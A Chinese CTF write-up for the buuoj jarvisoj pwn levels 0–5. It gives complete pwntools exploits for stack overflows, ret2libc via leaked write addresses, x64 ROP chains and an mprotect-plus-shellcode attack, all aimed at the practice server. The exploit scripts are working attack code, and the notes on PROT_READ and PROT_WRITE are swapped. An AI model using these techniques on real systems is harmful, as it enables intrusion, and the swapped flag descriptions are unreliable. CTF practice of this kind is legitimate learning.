首页 > 编程语言 > 详细

buuoj jarvisoj_level1-5

时间:2021-01-30 23:16:34      阅读:124      评论:0      收藏:0      [点我收藏+]

level0

放进IDA,查看main函数
技术分享图片
顺着返回函数走
技术分享图片
这里的buf只有80个字符,但是read能读入200个造成栈溢出
然后查看callsystem
技术分享图片
写exp

from pwn import *
elf = ELF(‘./level0‘)
p = remote(‘node3.buuoj.cn‘,25061)
Payload = b‘a‘*(0x80 + 8) + p64(elf.sym[‘callsystem‘])
p.sendline(Payload)
p.interactive()

jarvisoj_level1

放进IDA,查看main函数
技术分享图片
然后发现这里的buf可以溢出
技术分享图片
所以第一次覆盖先调用write拿到其地址,然后用偏移量计算出基地址,然后就能计算出system函数的地址,第二次覆盖调用system即可
exp:

from pwn import *
from LibcSearcher import *

r=remote(‘node3.buuoj.cn‘,27983)
elf=ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]

payload=‘a‘*(0x88+0x4 )+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr=u32(r.recv(4))

libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)

system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x88+0x4)+p32(system_addr)+p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

技术分享图片

jarvisoj_level2

放进IDA,先看main
技术分享图片
找到能溢出的read
技术分享图片
找到了system函数和bin/sh字符串来构造后门
技术分享图片
exp:

from pwn import *

p=remote(‘node3.buuoj.cn‘,27582)
elf=ELF("./level2")
sys_addr=elf.sym[‘system‘]
main_addr=elf.sym[‘main‘]
sh_addr=0x0804a024
payload=‘a‘*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(sh_addr)
p.send(payload)
p.interactive()

技术分享图片

jarvisoj_level2_x64

和32位的区别是不用main的地址。ROPgadget --binary level2_x64 --only "pop|rdi|ret"找到rdi寄存器的地址
exp:

from pwn import *

p=remote(‘node3.buuoj.cn‘,27001)
elf=ELF(‘./level2_x64‘)
sys_addr=elf.sym[‘system‘]
re_addr=0x4006b3
sh_addr=0x600A90
payload=‘a‘.encode()*(0x80+0x8)+p64(re_addr)+p64(sh_addr)+p64(sys_addr)
p.send(payload)
p.interactive()

jarvisoj_level3

放进IDA
技术分享图片
buf可以溢出
用re2libc,和level1类似

from pwn import *
from LibcSearcher import *

r=remote(‘node3.buuoj.cn‘,29284)
elf=ELF("./level3")
main_addr=elf.sym[‘main‘]
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]

payload=‘a‘*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
r.recv()
write_addr=u32(r.recv(4))

libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)

system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x88+0x4)+p32(system_addr)+p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

jarvisoj_level3_x64

ROPgadget --binary level3_x64 --only "pop|rdi|ret"取rdi和rei地址,然后和32位差不多

from pwn import *
from LibcSearcher import *

r=remote(‘node3.buuoj.cn‘,26229)
elf=ELF("./level3_x64")
main_addr=elf.sym[‘main‘]
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]

payload=‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x1)+p64(0x4006b1)+p64(write_got)+p64(0x0)+p64(write_plt)+p64(main_addr) 

r.send(payload)
r.recv()
write_addr=u64(r.recv(6).ljust(0x8, b‘\x00‘))

libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(bin_sh)+p64(system_addr)

r.send(payload)
r.interactive()

jarvisoj_level4
和3就差在一个r.recv()上

from pwn import *
from LibcSearcher import *

r=remote(‘node3.buuoj.cn‘,26949)
elf=ELF("./level4")
main_addr=elf.sym[‘main‘]
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]

payload=‘a‘*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr=u32(r.recv(4))

libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)

system_addr=libc_base+libc.dump(‘system‘)
bin_sh=libc_base+libc.dump(‘str_bin_sh‘)
payload =‘a‘*(0x88+0x4)+p32(system_addr)+p32(main_addr)+p32(bin_sh)

r.send(payload)
r.interactive()

jarvisoj_level5

mmap:将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行(没太看懂

void mmap( void *start , size_t length , int prot , int flags , int fd , off_toffsize);

mprotect:将从addr开始的地址 ,长度位len的内存的访问权限。

int mprotect(const void start , size_t len, int prot);

1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
不用system的思路大概是泄漏write地址获得libc版本,把shellcode写入bss段获得mprotect函数地址并修改bss段的权限,最后执行bss段里的shellcode
exp:

from pwn import *
from LibcSearcher import *

r=remote(‘node3.buuoj.cn‘,26102)
elf=ELF("./level3_x64")
write_plt=elf.plt[‘write‘]
write_got=elf.got[‘write‘]
read_addr=elf.plt[‘read‘]
vul_addr=elf.symbols[‘vulnerable_function‘]

payload=‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x1)+p64(0x4006b1)+p64(write_got)+p64(0x0)+p64(write_plt)+p64(vul_addr) 

r.send(payload)
r.recv()
write_addr=u64(r.recv(6).ljust(0x8, b‘\x00‘))

libc=LibcSearcher(‘write‘,write_addr)
libc_base=write_addr-libc.dump(‘write‘)
mp_addr=libc_base+libc.dump(‘mprotect‘)
rdx_addr=libc_base+0x1b92
payload2 =‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x600000)+p64(0x4006b1)+p64(0x1000)+p64(0x0)+p64(rdx_addr)+p64(0x7)+p64(mp_addr)+p64(vul_addr)
r.send(payload2)

payload3=‘a‘*(0x80+0x8)+p64(0x4006b3)+p64(0x0)+p64(0x4006b1)+p64(0x600a88)+p64(0x0)+p64(rdx_addr)+p64(0x30)+p64(read_addr)+p64(vul_addr)
r.send(payload3)
r.send(asm(shellcraft.amd64.linux.sh(),arch=‘amd64‘))

payload4=‘a‘*(0x80+0x8)+p64(0x600a88)
r.send(payload4)
r.interactive()

buuoj jarvisoj_level1-5

原文:https://www.cnblogs.com/diakla/p/14350787.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!